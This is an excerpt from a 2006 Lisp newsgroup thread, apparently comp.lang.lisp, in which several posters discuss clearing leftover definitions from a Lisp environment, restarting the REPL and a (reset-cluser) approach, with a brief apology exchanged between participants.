Until real software engineering is developed, the next best practice
is to develop with a dynamic system that has extreme late binding in
all aspects. The first system to really do this in an important way
is Lisp. -- Alan Kay

BobF

unread,
Jun 9, 2006, 9:29:57 AM6/9/06
to
On Fri, 09 Jun 2006 15:19:21 +0200, Pascal Bourguignon wrote:

>
> Well, then good. And sorry for the perhaps too harsh answer on my part.
> I'll try to take more care the next times I see the "newbie" keyword.

Incident forgotten :-)

BobF

unread,
Jun 9, 2006, 10:12:56 AM6/9/06
to
On 09 Jun 2006 14:17:35 +0200, Espen Vestre wrote:

> BobF <n...@thanks.net> writes:
>
>> Read your own response carefully. You answered your own question on my
>> behalf :-) (( ... leftover definitions can make for puzzling bugs ... ))
>
> You shouldn't be too obsessed with that. As others have pointed out:
> E.g. reloading your code will replace function definitions with the
> new versions.
>

It's not that I'm worried about redefinition of something I'm actively
working on, it's when I move on to something else. In my mind (a scary
place sometimes), it makes sense to get rid of what you won't be using when
starting something new.

When doing something serious, I don't expect to have totally unrelated
leftovers hanging around in my environment, so -like others have pointed
out- I won't be as worried about this.

At the end of the day, my desire for a clean lisp environment may diminish.
However, I'm coming from many years of experience where "contaminated"
environments are something to be concerned about.

As Lars/Thomas pointed out, the easiest way to do this is ",rest".

OTOH, I have become intrigued by the (reset-cluser) approach, so I've
started a clean thread (see a pattern here? :-)) to dive into it.

Thanks

Ken Tilton

unread,
Jun 9, 2006, 10:23:18 AM6/9/06
to

Cue Edmund Kean.

kt